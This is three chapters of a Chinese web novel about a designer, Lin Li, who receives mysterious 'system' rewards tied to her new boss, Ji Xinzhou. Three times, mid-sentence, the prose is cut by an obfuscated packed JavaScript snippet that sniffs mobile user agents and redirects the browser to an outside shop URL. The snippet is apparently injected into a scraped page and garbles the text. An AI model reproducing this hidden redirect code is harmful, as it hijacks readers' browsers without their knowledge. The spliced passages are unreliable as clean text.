《请配合我的任务》 1. 001 午后的办公室冷气开得过头。 出风口正对着这一排工位,风量不小,文件边角被吹得轻轻翘起,又被旁边的人顺手压回去。打印机在远处吐纸,键盘声断断续续,夹杂着几句闲聊和压低的抱怨。 整层楼像一台持续运转的机器,没有停下来过,但也谈不上多高效。 林黎靠在椅背上,耳机挂在耳朵上少见的没听白噪音,毕竟脑子已经够吵了。 数位笔悬在屏幕上方停了几秒。 没一会儿,群里提示音跳出来。 【不够年轻化。】 她扫了一眼,没管。 光标还停在标题旁边那条辅助线的位置。 不到两分钟又发来一条。 【还是第一版好一点。】 林黎眯了下眼。 “行吧。”她低声嘀咕,“反正你们自己也没想好。” 她把画面缩小,整体拉回,先看动线,再看层级,最后扫一遍色块比例。没有明显问题。至少没有值得推翻重来的地方。 问题不在设计。 顺手点开第一版,在那条“太活泼”的批注旁边随手加了一行字:不够成熟。 打完这四个字,她自己都笑了一下。 再切回第三版,快捷键调出色板,把主色往亮度上提了一点点,同时把对比度压下去。不是为了“年轻”,而是让画面别那么有攻击性。 旁边工位的人听见她键盘敲得飞快,探头过来。 “又改啊?” 林黎没抬头,“嗯。” “不是都说第一版好了吗?” “那是他们现在觉得。”她拖动页面,把标题往下挪了半个字距,“等我真传第一版,他们又会说太跳。” 同事叹气,“那你还改?” “改的话省事一点。”她的语气已经没有波澜了,“给他们一个更‘像答案’的版本,他们会自己选。” 文件另存。 文件名干脆利落——定稿。 不用写“最终版”“修改版”这类安慰自己的话,也不用留情绪在文件名里。她懒得反复证明自己努力过。只要问题别再绕回来就行。 发过去没一会儿,群里很快弹出一句—— 【这个版本好一点。】 林黎看了一眼,没有回复,直接就把对话框叉掉。 “早这么说不就行了。”她小声嘀咕一句,语气也不算抱怨,更像是对流程的感慨。 隔壁忽然传来一声压低的哀嚎。 “黎姐,救命。” 实习的小姑娘抱着电脑凑过来,页面上标题歪了不到一毫米,偏得很轻微,但怎么看都不顺眼。 林黎往前滑了一下椅子,把对方的屏幕拉近。 “你基线没锁。” 她伸手把自动对齐关掉,字距往回调一格,再把基线锁住。 “好了。” 小姑娘盯着屏幕,松了口气,“你怎么能这么快发现啊?” 她靠回椅背,“我看它歪着难受。” “……” “它看着我累。” 小姑娘笑出声,没聊几句就抱着电脑回去了。 林黎闲着也是闲着,顺手把自己桌面上的文件叠齐。回形针罐被撞歪了一点,她往里推了推。水杯底下那张纸巾有点湿,她又抽出一张新的垫上。 倒也不是爱整洁。 只是乱着,她会一直分神。 手机就在这时候震了一下。 她低头。 【电费催缴通知:请在三日内完成缴纳】 【备忘提醒:周末前需转账——表姐¥6,000】 【备忘提醒:月底前需转账——二舅¥15,000】 手上的动作停了停,她盯着那几个数字,一时间也没有什么想法。 脑子下意识自动排了顺序——电费优先,表姐这这两天,二舅还需要一周。 “哎。” 无奈预算只能被迫重新排布。 她把手机翻扣在便签纸上,动作自然,暂时关掉一个弹窗。 旁边同事正撕开便当盒,“中午吃了吗?我多带了两个饭团。” 林黎抬头,笑得自然,“你吃吧,我泡麦片。” “你天天麦片不腻啊?” “选择越少,烦恼越少。”她语气轻松,“我这是节能模式。” “你活得也太佛了。” “不是佛。”数位笔转了一圈,“是不想浪费电。” 同事被她逗笑,摇头继续吃饭。 林黎重新把视线落回屏幕。 明显需求也已经稳定下来,客户的情绪也被安抚在一个可接受的区间。 冷气从袖口往里钻,她往椅背上一靠,伸了个懒腰,肩胛骨“咔”地响了一声。 快到午休时间了,办公室开始有些嘈杂。 — 冷气吹得久了,肩膀有点发紧。 林黎摘下耳机,揉了揉后颈。屏幕上的页面已经保存,她确认文件同步完毕,这才站起身,拿起桌上的空纸杯往茶水间走。 走廊比工位那边安静一些,灯光偏白,地面反着光。 她一边走,一边在脑子里把这两天的安排都过一遍,重要的不重要的、紧急不紧急的,能想起来的都拎出来。 只要分成很多个小格子,能一个个勾掉就不算难。 茶水间的热气一扑上来,镜片立刻蒙了一层雾。 林黎下意识用手背擦了一下,没擦干净,也懒得管。她把纸杯放到饮水机下面,按下热水键,水声哗地响起来。 没一会杯子就装满了,她没多停留,端着杯子转身往外走。 走廊转角不算宽,她的视线还带着一点雾气。 门被从另一侧推开,隐约听到一点动静。但很明显双方都没有留意到。 肩膀先撞上去。 纸杯一晃,热水洒出来一点,沿着杯壁往下流。杯子脱手滚到地上,咕噜噜往前转了半圈。 “抱歉。” 林黎几乎是条件反射地蹲下去,语气比动作还快。 一只手比她更早一步把纸杯捡起来,放回她面前。 “下次注意。” 声音有点低。 她抬头。 镜片上的雾气还没完全散开,对方的轮廓先显出来——眉骨清晰,神情冷静,眼神落下来时带着天然的距离感。 季忻州。 她在脑子里很快对上名字。 总部刚派过来的上司。 审稿精准,开会从不讲废话,整个楼层提到他都会下意识压低音量。 林黎站起来,把杯子接过来,往后退了一步,把走廊让出来。 “季总。”她语气平稳,“不好意思,拐角这边视线不太好。” 这句话说得很自然,像是在陈述事实。 既承认自己没看清,也没把责任全揽过去。 走廊顶灯是冷白色的,打在人脸上没什么温度。茶水间的热气还没散干净,空气里带着一点水蒸气的味道。 季忻州的视线在她脸上停了半秒。 接着从口袋里抽出一块深色手帕,递过去。 “擦一下。” 手帕叠得很整齐,深蓝色的底布上带一个小logo。 林黎愣了一瞬。 她平时不太用这种东西,第一反应是——有点讲究。 简单道谢后,她接过手帕,指尖碰到对方的手指。很轻的一触,倒是对方的手微微顿了一下,很轻,但不明显。 她低头,把手上溅到的水擦干,动作不急不慢。水痕被吸进深色的布料里,很快消失。 林黎擦完,看着手里的手帕停了半秒。 直接递回去不太合适。 塞进口袋更奇怪。 “这个我——” 话还没说完,季忻州已经伸出手。 没有多余表情,只是掌心向上,动作干净利落。 林黎顿了一下,随即把手帕放回他手里。 布料在两人之间短暂交接。 “没事。”他说。 走廊又安静下来。远处办公区里有人笑了一声,很快被键盘声盖过去。 林黎手里握着纸杯,“那我先回去了。” 对方只是微微点头,没有开口。 她等了一秒,确认事情确实结束了,这才转身往工位方向走。 走廊的灯光落在地面上,拉出一段干净的影子。 没走出几步,她忽然想到自己刚刚其实没必要解释“视线不好”。 这层楼的人,谁不知道那个拐角窄。 ‘算了,他刚来。’她默默在心里轻轻补了一句。 走廊尽头一拐,办公区的声音重新漫上来。有人在讨论配色,有人抱怨打印机卡纸,还有人压着声音讲八卦。 林黎把纸杯放回桌角,顺手把鼠标往里推了推,正准备坐下,手机在掌心轻轻震了一下。 震动很短,像被人轻轻敲了一下。 她低头。 屏幕亮着。 最上方不是消息通知,也没有邮件,而是一行陌生的灰白色小字。 【任务对象:季忻州】 她怔了一下。 还没来得及细想,第二行字贴着浮现出来。 【判定完成】 紧接着第三行—— 【奖励已发放】 几乎是同一时间,手机顶端弹出提示框。 【ZFB到账¥10,000|来自系统补贴】 林黎捧着手机直接呆住了。 旁边有人喊她,“黎姐,文件——” “一会儿。”她下意识回了一句,视线却没有离开手机。 她点开软件。 到账记录真实存在,时间精确到秒,备注清清楚楚——系统补贴。 没有转账人头像,没有账户信息,像是从天上凭空掉下来的一笔钱。 她把手机往外举了一点,又重新看了一遍。 “补贴?”她轻声重复了一下。 脑子在很快地回放刚才那几分钟。 走廊。 拐角。 触碰。 任务对象?季忻州? 她的心跳忽然慢半拍。 “不会吧……” 她下意识摸了摸手腕,节奏平稳,没有加速的感觉。刚刚那一下,她也没有慌张。 那这个“判定完成”到底判定了什么? 林黎盯着那条到账记录看了两秒,又退回桌面。 刚才那三行字已经消失。 仿佛从未出现过。 “诈骗现在都先打钱了吗?”她低声嘀咕,语气却没有真的担心。 逻辑不对。 正常流程应该是诱导、威胁、转账。 反正不是先给钱。 她重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242855|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开ZFB,把余额页刷新了一次。 数字确实多了一万。 不是延迟入账,不是虚拟提示。 是真钱。 冷气从袖口往里钻,她把袖子往下拉了拉。抬头,看了一眼走廊方向。 人肯定早就走了。 “就碰了一下?” 她自己说出来都觉得荒谬。 但那一万块是真的。 她慢慢坐回椅子上,靠着椅背,盯着屏幕发了一会儿呆。 如果规则成立—— 那刚刚那个名字,价值一万。 林黎轻轻呼出一口气。 “行。” 手机锁屏前,她最后看了一眼到账记录。 【来自系统补贴】 不太像是恶作剧或者玩笑。 屏幕暗下去的瞬间,办公区的声音重新变得清晰。 打印机卡纸的提示音在远处响了一声,有人拖着椅子滑过去。运营部那边有人在喊“谁改了版本号”。冷气继续往这排工位直吹,桌角的文件又被掀起一页。 世界没有因为那一万块停下来。 林黎盯着黑下去的屏幕看了两秒,把手机扣在键盘旁边。 “晚点再说。” 她把椅子往前拉了拉,数位笔重新落回屏幕上。刚刚那一页标题还有半个字距没调顺,她把放大比例拉到150%,微调两下,再退回整体看。 这样顺眼多了。 “黎,客户那边要一张对比图。”同事又探过来。 “发我。”林黎没抬头,手已经切回第一版和第三版的图层。 “他们是不是又反悔?” “不知道,但我希望不要。” 对方笑了一声,“那你怎么办?” “让他们看得更清楚一点。”她把两版并排放好,标注差异,“别再回头了。” 说话间,她的思路已经完全回到工作里。 变量、判定、补贴—— 这些暂时没空去琢磨的东西被她临时压在一旁,暂存一下。 冷气吹着,屏幕发着光,标题的字距在她手里一点点对齐。 省电模式重新启动。 — 下午四点的会议室比外面还冷一些。 玻璃门合上时带起一阵轻微的回声,空调的送风口就在长桌正上方,风直直落下来,把人声压低了一点。林黎抱着电脑进去,选了靠门边的位置坐下,既能看清投影,也不至于太显眼。 会议已经进行到一半。 运营在讲回收率,市场在解释用户反馈,PPT一页页翻过去,节奏拖得有些松散。 林黎把电脑打开,手指落在键盘上,顺便扫了一眼对面。 季忻州坐在长桌另一端,黑色衬衫袖口扣得整齐,笔记本摊在面前。 他很少插话,只在某些关键句子落下时抬笔记两行,动作克制,节奏稳定。整个会议室的氛围,因为他在场而显得更规矩很多。 市场部的人讲到一半卡住了,“用户可能是对视觉接受度比较敏感……” “比较敏感是什么意思?”有人接话。 对方没能立即回答,表情有些不自在。 林黎本来没打算发言,可话在脑子里已经绕完一圈,她顺口接了上去:“不是敏感,是不确定。” 几个人同时看过来。 她顿了一下,语气放缓,“画面太鲜明的时候,用户会担心品牌定位不稳。不是排斥,是怕选错。” 说完,她又补了一句,“结构不用推翻,把主色饱和度压一点就行。” 市场部的人连连点头,“对,就是这个意思。” 对方看过来的眼神很热切,接下来的解说也得心应手起来。 她却感觉到另一道视线落在自己身上。 没有重量,却很明确。 她抬头。 视线在空气里对上。 对方没有表情变化,但目光确实停留了一瞬。 桌面上的手机也在那一秒轻轻震动了一下。 幅度很小,几乎被会议室的讨论声盖过去。 林黎没有立刻去看。 她专心听着市场部的分析,视线落回屏幕,手指在键盘上敲了两下,把刚才的思路记下来。 会议继续往下走。 直到运营开始讲下一页数据,她才低头扫了一眼手机。 屏幕亮着。 没有到账提示。 只有最上方静静躺着两行字—— 【触发记录更新】 【当前额度:¥10,000】 没有新增金额。 林黎盯着那串数字看了两秒,心跳却异常平稳。 她甚至能清楚地听见会议室里翻页的声音和签字笔划过纸面的轻响。 “继续。”有人在前面说。 她把手机扣回桌面,手指重新落回键盘。 系统没有追加奖励。 但记录了刚刚的对视。 — 会议在半小时后结束。 椅子拖动的声音此起彼伏,玻璃门被推开又合上。人群陆续散去,讨论声也随之稀薄下来。 林黎合上电脑,最后一个离开会议室。 走到门口时,手机又震了一下。 这一次没有金额,只有两行字—— 【变量稳定度提升】 【阶段阈值:未公开】 2. 002 林黎是在茶水间里再次碰见季忻州的。 不是刻意,但也谈不上巧合。同一层楼待久了,动线会慢慢变得规律,谁大概几点来接水、几点路过茶水间,身体比脑子更早记住。 她端着杯子站在咖啡机前,听着机器“咕噜咕噜”地响,水流断断续续。没有看时间,心里却在默默倒数。 三。 二。 一。 身后果然传来脚步声。 她没回头,只往旁边让了半步,把位置空出来,动作自然得像条件反射。 季忻州走进来,站在她右侧。视线在她身上停了一瞬,很短,却不是完全无意识。 随后挪开,落在咖啡机的操作面板上。 他抬手按下按键。 机器开始工作。 林黎在心里轻轻“哦”了一声。 原来只是站得近的话没有用。 她低头看了一眼手机,屏幕安静,没有提示。再抬头时,像忽然想到什么一样,把杯子往他那边挪了一点。 “这个按钮,”她语气平稳,“是不是要长按?” 季忻州转头看她。 那一眼停得比刚才略久一些。 “是。”他说,“两秒。” 她点点头,像是终于弄明白,“难怪我刚刚按了半天没反应。” 说完,她把杯子放上托架,重新按下按钮。 手机在掌心轻轻震动了一下。 幅度很小。 她没有立刻低头去看,只是把杯子抬稳,等水流停下,才顺手点亮屏幕。 最上方浮着一行字—— 【协作变量记录】 停顿半秒。 第二行浮现—— 【权重调整】 林黎的眉梢动了一下。 她没有露出别的情绪,只是把手机按灭,语气自然地说了一句:“谢谢。” “嗯。”季忻州应了一声,视线落回咖啡机上,手指却在杯沿停了一瞬。 她端着咖啡往外走,走到门口才像忽然想起什么,回头补了一句:“对了,昨天不好意思,撞到你。” 语气轻松且自然。 男人顿了一下。 “没事。” 林黎点点头,转身离开。 手机在口袋里再次震了一下。 她走到走廊拐角才停下脚步,把屏幕点亮。 这一次的提示更简短。 【阶段记录补充】 【变量关联增强】 “……” 她低头看着屏幕,嘴角抽动了一下,又很快压住。 将手机锁屏,继续往工位走。 林黎回到工位,把咖啡放下,屏幕上内部项目的进度邮件弹出来。她点开,视线在段落之间滑动,脑子却还停在刚才茶水间的那几行提示上。 协作变量记录、权重调整。 什么也没有,却比直接发钱更让人坐立难安。 她端起杯子抿了一口,咖啡还有点烫,苦味顺着喉咙往下落。 办公室里打印机响了一声,有人拖着椅子滑过去,江奇在不远处叹气。所有声音都很正常,正常到仿佛那两行字只是她一瞬间的幻觉。 好像不是靠近,也不是触碰。 更不是她之前以为的字面意思。 但终究念头并没有立刻成型,只是在脑子里轻轻碰了一下触角。 她盯着电脑屏幕想了几秒。 要不要再试一下? 比如,刻意路过一次? 随便找个理由多说几句话。 这个念头刚冒出来,她自己先皱了皱眉。 ‘有点傻。’她在心里给自己下了结论。 为了验证一个尚未公开的规则去制造场景,本身就已经偏离了她原本的节奏。 她一向不喜欢把时间花在不可控的变量上。 手机安静地躺在桌面。 她没有去碰,而是滑动触控板将邮件往下翻,开始在脑子里整理项目节点。 就在她刻意把思路往工作上拉的时候,手机忽然极轻地震了一下。 她低头。 屏幕上只有两行字—— 【主动干预意图识别】 【变量稳定】 像只是在确认。 林黎盯着那两行字看了两秒,忽然有点想笑。 原来连“想试一下”,都算。 她把手机按灭,干脆把它扣在文件夹下面。 行。 偏就不试。 抓不住就放着。 她把椅子往前拉了拉,手指落回键盘,开始一页一页改稿。标题字距调顺,色块往里压两像素,辅助线重新拉直。熟悉的节奏很快接管了注意力,脑子里的那些想法被自动归档到角落。 节能模式启动。 直到十分钟后,旁边传来一声压抑的“嘶”。 “卡了?”她头也没抬。 江奇直接把鼠标往桌上一丢,表情像被PPT掐住了喉咙:“下午评审,我觉得我会死在第一页。” 林黎终于偏头看过去。 屏幕上是那种典型“做出来很漂亮,但讲起来很要命”的方案——逻辑线乱、信息密集,每一页都想当主角。 她盯了两秒,嘴角微动:“这不适合讲。” 江奇求救:“那怎么办?” “别讲。”林黎说。 江奇:“……啊?” “我的意思是,”林黎伸手把页面往下拖,“别按顺序讲,该跳就跳。” “先给结论,后给证据。先让他们明白你要干嘛,再让他们看怎么干。” “这个不要。” “这两页——嗯,一个意思。” “这个跳吧,挪到最后,当对比。” “你确定?”江奇压低声音,“他们会不会因为跳得太快听不懂?” “不会。”林黎说得理直气壮,“他们只会感谢你终于不折磨他们了。” 语气很真诚。 江奇将信将疑,盯着重排后的顺序看了两秒,眼睛慢慢亮起来:“……顺了。” “当然顺。”林黎把鼠标松开,“这是设计,按照我们一开始的想法就好。” 但他也不能反驳什么,只能将信将疑地点点头,继续捋逻辑。 会议快要开始前十分钟,江奇抱着电脑站在桌边,脸上写满“我不想一个人经历这些”。 他犹豫了一下,侧头看正在划水摸鱼的林黎:“要不你跟我一起?关键那几页,我怕我嘴瓢。” 林黎停顿两秒。 也不是害怕,她在台后习惯了,突然上台有点不适应。 只能叹气:“行。我只补关键页,你别把我当救护车。” “我当你是消防员。”对方真诚。 “更恐怖了。”她吐槽间把笔记本合上,“我讨厌爬楼梯。” — 会议室的灯亮着,人比她预想中多。 桌面资料摆放整齐,水杯已经提前放好,显然不是走个流程就散的会。 林黎站在投影仪旁,视线扫过座位,很快看见了季忻州。 对方坐在前段偏中的位置,手边一沓打印稿,笔没扣盖。 似乎注意到什么,他抬眼看过来,视线在她身上停了一瞬,又很快移开。 林黎面上不动声色,心里“哦”了一声。 今天的观众可不太好糊弄。 没等几分钟,会议就开始了。 刚上台没多久,江奇就按照习惯开始铺背景。 前两页还算顺,第三页开始,他明显想把所有准备过的内容一次性倒出来。 节奏慢了下来,空气里浮起一点不耐。 林黎看了一眼屏幕,又扫了扫台下众人的表情。手指在翻页笔上停了一下,才轻轻按下。 画面直接往下跳了一页。 江奇说到一半卡了一下,很快反应过来,赶紧顺着往下讲。 有几个人明显松了口气。 讲到中后部分,节奏明显慢下来。 他又开始往细节里钻,语速倒是越来越快,自己都快被绕住了。 林黎在他换气的间隙,伸手把页面切回到上一页,选择直接切入。 “这块大家先记一个结论就行。” 她语速不快,声音清晰,“一页一页只看细节会有些繁琐,换个角度看会更清晰一些。” 她说完就停住,没有继续往下讲。 江奇愣了下,立刻顺着她的话接上:“对,这里我们主要看结果。” 节奏很快又重新被拉了回来。 真正的卡顿,出现在那一页的“死亡”对比图。 核心画面一亮出来,会议室里有人低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242856|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低“啊”了一声。 台上拿着话筒的人明显卡壳了,嘴唇动了动,没把话接上。 空气安静了一秒。 林黎没有立刻补位。 她先看了一眼屏幕,确认图没问题。 然后才抬头,视线越过会议桌,落到季忻州面前。翻页笔在她的指尖轻轻转了一下,很快又停住。 季忻州几乎是同时抬眼,两个人的视线在空中短暂相接。 “这里看的不是过程叠加。” 季忻州开口,声音不高。 他手里的笔在打印稿上点了一下,对应着屏幕上的对比区域。 “是结果差异。” 几乎可以说是一锤定音。 江奇看过去的眼神都变了,赶紧接上:“对,我们要的就是省,不是继续白费力。” 会议室里有人点头,有人开始翻笔记。 节奏重新扣紧,气氛明显往“能成”的方向偏过去。 —— 会议结束得比预期顺利。 大家散得很快,椅子拖动的声音在会议室里此起彼伏,气氛甚至有点轻松。江奇像刚跑完一段长坡,后背出了一层汗,低声对她说:“还好把你一起叫进来了。” 林黎笑了下,没有接话,只把翻页笔放回桌面,合上电脑。 “林黎。” 身后的声音有点熟悉。 她一回头,季忻州站在会议桌后,手里拿着那沓打印稿。 看向她的眼神比之前任何一次都要久。 “你刚才,”顿了一下,像是在找合适的措辞,“很会带节奏。” 林黎眨了下眼,差点笑出来。 只能努力维持一本正经:“还行吧,主要是我不想听念经折磨人。” 季忻州的唇角似乎动了一下,很快又压了回去。 点点头,“嗯。” 林黎见对方没有再开口的意思,简单告别就准备出会议室。 刚一转身,手机在口袋里又震了几下。 【阶段判定完成】 【协作成立】 【变量稳定度提升】 没有进度条。 也没有即时到账提示。 她脚步没停,还是没忍住把手机摸出来看了一眼,眉心却轻轻一跳。 协作? 她在心里重复了一遍这个词,有点疑惑。 规则好像,变了? 走廊灯光一盏一盏亮着,影子在地面上逐渐拉长。 林黎刚走出一段距离,手机又开始震动。 终于加载出的结算条停顿了两秒,屏幕又新的信息—— 【检测到非预期变量】 【后续任务复杂度上调】 【阶段奖励已计入】 停顿。 【升级阶段不提供即时结算】 她下意识切到支付软件确认,余额依旧是原来的数字。反倒是提醒事项跳出来—— 【明天19点:房租转账】 林黎的眉心轻轻皱了一下。 她站在灯影下盯着屏幕看了两秒,把提醒划掉,重新锁屏。 手机重新回到口袋里,她继续往前走,步子明显加快。 —— 夜已经完全黑下来。 办公区的灯关了一大半,只剩零星几盏还亮着。 窗外写字楼的灯影交错,玻璃上映出模糊的反光。 季忻州坐在独立办公室里,桌上的台灯亮着,光线压得很低。 办公桌上还放着下午会议用过的那叠打印稿,边角整齐,却明显被翻阅过不止一遍。 他伸手把最上面那一页抽出来,平铺在桌面。 对比图落在视线中央。 季忻州的目光在那一页停了几秒,又移开,像是在确认一个已经得出的结论。 没一会,他把文件往旁边推了推,电脑被唤醒,很快调出下午那场会议的项目页面。 光标在屏幕上停顿了一顺,随后落在了某个并不显眼的栏目上。 他点进去,开始修改。 办公室里很安静,只有键盘声偶尔响起。 男人坐在电脑前,敲下一行字,又删掉。最后只留下简短的一句话。 发送。 屏幕亮着,他靠回椅背,目光重新落在桌面的图上。 眼中带着些许思索。 3. 003 林黎刷完牙的时候,洗手台上的手机屏幕亮起,自动退出睡眠模式。 紧接着,是接连几声的消息提示音。 她含着一口泡沫,先没动。 这种频率一般只有两种可能。 要么是群聊炸了。 要么是系统抽风。 最糟糕的一种情况:两边一起炸,还相互助燃。 林黎把泡沫吐干净,漱了口,才慢吞吞擦手去解锁。 项目群的未读消息数停在一个不太友好的数字上,并且还在往上跳。 她盯了两秒,看着那个陌生的群名,额角轻轻抽了一下。 这么早? 消息一点开,聊天记录像瀑布一样往上翻。 有人在贴昨天会议的纪要截图,有人在下面问【这里的前提是不是不太对?】 隔了几条,又有人回复【但我们之前拿到的版本不是这么说的】 再往下,有人试图总结【那是不是要先确定最初的算法定义?】 每一句单拎出来都没毛病。 放在一起,却像一群人各自拿着一份不同说明书,对同一个按钮疯狂下指令,最后还互相怪对方按错了。 林黎飞快扫了几眼,眉头很轻地皱了一下。 不是算错,也不像是技术分歧。 更像是同一件事,被拆成了好几段,从不同人手里转了一圈,每转一次,就多出一点“我理解的是”。 她往上翻了翻,最早那几条信息的时候停住了。 如果按照最初那一版逻辑,其实并不复杂。 林黎闭了闭眼,像把那股早晨“第一口气”就被项目群抢走的烦躁压下去。 源头八成还在她们部门。 这个项目最早的设定就是从她们这边给出去的,后续几次调整,也一直是通过内部对接再往外传。中间隔的人一多,消息变形几乎是必然。 她以前还会在劝自己:别急,大家都是打工人,都不容易。 现在她只剩一句:吵吵吵,吵能解决问题吗? 她把手机放回台子上,随手洗了把脸。水拍在脸上的时候,脑子反而清醒了一点。 抬头看镜子,今天额前有几撮碎发翘得很叛逆。 林黎干脆把刘海压了压,顺手拢起头发扎好。 镜子里那张脸没什么攻击性,更多是睡眠不足带来的“摆烂感”。 再拿起手机时,她已经没什么耐心了。 这种看起来很忙,实际谁都没在真正解决问题的状态,她一向不太能忍。 她翻了下项目基础信息,又退回聊天列表。 指尖在屏幕上停了一下,像是在挑一条最省事的路。 最上方,一个干净的对话框映入眼帘—— 没有记录,一片空白。 季忻州。 这个对话框是昨天才出现的。准确来说,是昨天晚上项目系统弹出权限变更提示之后,自动生成的。 新增协作成员:林黎。 当时她正准备开勿扰模式看书,看见也只是“哦”了一声,顺手划掉。 现在回头看,倒像是提前给今天的局面留了一条后路。 林黎盯着那个字母头像看了两秒。 脑子里没有“合不合适”,也没有“该不该找他”。她甚至没时间纠结这件事听起来像不像越级。 只有一个很直接的想法—— 既然把她拉进来了,那就别绕。 她点进去,打字。 【林黎】:季总,我可以直接跟您对一下项目群现在卡住的地方吗?这样会快一点。 消息发出去,她看了眼时间,又补了一句,一贯的不给自己找麻烦。 【林黎】:到公司之后。 发完,她把手机扣在洗手台上,继续护肤。 甚至有点如释重负。 没过多久,手机震了一下。她正涂面霜,手还没来得及擦干,先用手背碰了碰屏幕。 【季忻州】:可以。 【季忻州】:直接来我办公室。 紧跟着是系统的分色提示—— 【系统提示:已记录高效协作路径。】 林黎擦脸的手停了一下。 她低头盯着那行字,嘴角很轻地动了动。 “你倒挺会给自己加戏。” —— 到了公司,电梯一路上行。 林黎看着镜面里的自己,反应过来自己要去那个据说进去之后“呼吸都要谨慎一些”的独立办公室。 办公室门口,她从包里摸出手机,看了一眼项目群——未读还在涨,但明显已经从“吵架模式”变成了“互相猜测模式”。 她轻轻“啧”了一声。 林黎进门的时候,季忻州正在看屏幕。 她敲门的声音不重,也没刻意等回应,门刚开一条缝,人已经进来了。 林黎没绕弯,进门第一句就是:“我可能要打扰您几分钟。” 不是道歉,也明显不是请示。 季忻州看了她一眼,停顿不到一秒:“坐。” 林黎嘴上“好”,脚却没往椅子去。 她走到桌前,把手机放在他桌面上,屏幕还亮着,聊天记录停在最乱的那几段。 “坐着说也行,”她补一句,语气很随意,“但我怕我一坐下,就不是几分钟的事了。” 她自己说完都觉得有点好笑,眉梢轻轻抬了抬。 季忻州没接她的玩笑,只是目光落到手机屏幕上:“你想说什么?” 林黎把话接得很快:“群里现在吵的那件事,已经不是原来的问题了。” 季忻州没碰手机,只扫了一眼:“你指哪一层?” “你现在看到的那一层。”临时又补了一句:“……不怪他们,怪链路。” 手指点了点最上面那条,又往下滑了几段,语速快但不咄咄逼人,像她平时给同事改PPT一样。 “这是原始版本。” “这是第一次转述。” “这是第三次。” 她顿了下,语气忽然轻了一点,像是在确认对方跟得上:“你不觉得已经完全不是一件事了吗?” 这句话问得有点冒犯。 林黎说出口之后,自己也很快意识到了。 “我不是要质疑谁,”她补充,“我只是怕它继续变形下去,后面开会的人会更痛苦。” 季忻州没有立刻回答,而是伸手把手机拿过来,自己看了一遍。 他看得很快,指尖在屏幕上停留时很短, “他们在各自补充。” “对。”林黎接得很快,“而且补得很自我。” 季忻州抬眼看她。 “你不是项目负责人。” 语气不重,但意思很清楚。 林黎却像是早就预料到这句,表情一点没变。 “对。”她点点头,认得干脆,“所以我没打算负责。” 话一出口,反而让人有些意外。 她又补了一句,“我只是想让它别继续变形。” 林黎伸手,在桌面上比了一下,动作不大,却很直观。 “你现在让他们继续讨论,最后只会得到一个版本汇总,和一堆解释说明。” “但真正需要的,其实只有一句话。” 季忻州靠回椅背,看着她:“哪一句?” “最开始的版本。”林黎直言。 “而且最好是你给的。” 空气安静了一瞬。 这已经不是在讨论问题,而是在直接点名他的位置,指使他做事。 季忻州靠回椅背,没有立刻接话。 半晌,才慢慢开口:“你知道这听起来像什么吗?” “像我越级。”林黎点点头,“但我不是来抢事的。” 她想了想,又补了一句:“我是嫌你后面要多开最少三次会。” 这句话说得太自然了,自然到不像挑衅,却比挑衅更戳人。 季忻州低头看回屏幕,指尖在键盘上停了一下。 “如果我不给呢?” “那我就当今天没来过。”林黎理直气壮,几乎没有思考,“让他们继续吵。” 语气平静,态度很随意。 “反正这个问题,迟早也会绕回来。” 季忻州看了她两秒。 不是被说服的表情,更像是被戳中什么的短暂停顿。 他忽然笑了一下。 “你挺敢下判断。” “不是判断。”林黎纠正,“是经验。” 屏幕亮着,季忻州没有立刻敲字,而是把刚才那段原始记录重新调出来,看了一眼,又看了一眼。 然后才开始打字。 一行字,删掉。 再敲一行,停住。 林黎没有盯着他看。 她低头把手机拿回来,顺手回了几条早上被她一路忽略的消息。 【我现在有点事】 【晚点说】 发完,她顺手把手机揣口袋里。 就在这时,季忻州敲完了最后一个字。 他没立刻点发送。 视线从屏幕上移开,落在她身上。 她低着头,发旋很明显,头发在顶灯下被压出一道浅浅的弧度,整个人看起来很松弛,正大光明开始发起呆来,像是对接下来会发生什么并不怎么在意。 季忻州的眼角动了动。 然后低头看向屏幕。 那行字还是一字未改,照搬了林黎最初指给他的版本。 发送。 消息发进项目群的时候,办公室里安静得几乎能听见空调的风声。 很快,手机开始震动,回复逐渐跳出来。 【明白了。】 【收到,那后面就按这个来。】 林黎把手机掏出来,解锁,看了一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242857|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目群里的语气明显变了,从“各说各话”变成了“按这个走”。 她刚要把手机锁回去,屏幕上又弹出一行提示—— 【系统提示:已记录高风险协作行为】 林黎眉梢动了一下。 这词用得也太重了吧。 季忻州开口:“你今天这种方式,以后最好少用。” “行。”林黎答得很快,“那我下次提前打个招呼。” 她想了想,又很认真地补了一句:“比如,我是来帮你节省时间、减少麻烦的。” 这话说得太直白,反而让人不知道该怎么接。 季忻州沉默了一秒,像是在消化这句话。 